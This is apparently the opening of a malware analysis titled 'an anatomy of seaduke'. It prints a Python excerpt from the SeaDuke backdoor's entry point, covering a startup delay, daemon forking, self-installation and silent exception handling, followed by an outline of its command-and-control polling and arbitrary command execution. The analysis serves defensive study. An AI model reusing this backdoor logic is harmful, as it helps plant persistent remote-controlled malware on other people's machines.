an anatomy of seaduke
if __name__=="__main__":
time_sleep(botKlass.run_delay)
if not botKlass.was_first_run:
botKlass.was_first_run = True
if v_sys_platform != 'win32':
forkmeiamfamous()
me = BotInstallKlass(botKlass.key_id)
try:
seh_wrapper()
except SystemExit:
me = None
time_sleep(1)
sys_exit(0)
except Exception as e:
me = None
time_sleep(1)
sys_exit(0)
- initializing bot settings so bot knows how to bot
- forking itself so it can run as a daemon/background process
- installing botKlass, which really means carving space for itself on disk
- seh_wrapper
- doing an event loop and polling for instructions
- how does seaduke fetch instructions from the mothership?
- fetching resources with urllib
- decode tasks
- executing tasks with
threadStuffKlass
- executing arbitrary commands
- saving bot bot